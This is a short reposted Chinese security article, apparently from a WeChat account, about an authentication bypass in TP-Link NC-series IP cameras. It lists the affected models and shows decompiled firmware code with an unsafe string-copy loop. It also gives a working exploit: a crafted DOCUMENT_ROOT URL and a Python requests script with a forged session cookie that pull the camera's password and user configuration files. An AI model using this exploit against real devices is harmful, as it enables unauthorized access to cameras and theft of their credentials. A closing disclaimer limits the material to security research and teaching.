-
TP-Link NC200 -
TP-Link NC210 -
TP-Link NC220 -
TP-Link NC230 -
TP-Link NC250 -
TP-Link NC260 -
TP-Link NC450
snprintf(full_path, 0x40, "%s%s", uVar1, "login.html");
http://192.168.1.17/?DOCUMENT_ROOT=////////////////////usr/local/config/ipcamera/.lighttpdpassword
undefined4
swSdDelFile
(
char
*filepath)
{
...
attacker_path = filepath;
...
i =
0
;
while
(*attacker_path !=
'*'
&& *attacker_path !=
'�'
)
{
strncat
((
char
*)&stack_parameter, attacker_path,
1
);
i++;
attacker_path++;
}
...
}
#!/usr/bin/python3
import requests
host =
"192.168.1.1"
filename =
"/usr/local/config/ipcamera/user.conf"
url =
"http://"
+ host +
"/?DOCUMENT_ROOT="
+ filename.rjust(0x40 - 1,
"/"
)
headers = {
"Cookie"
:
"sess=ok"
}
response = requests.get(url, headers=headers, timeout=1).text
print(f
"{response=}"
)
原文始发于微信公众号(Ots安全):TP-LINK NCXXX 身份验证绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论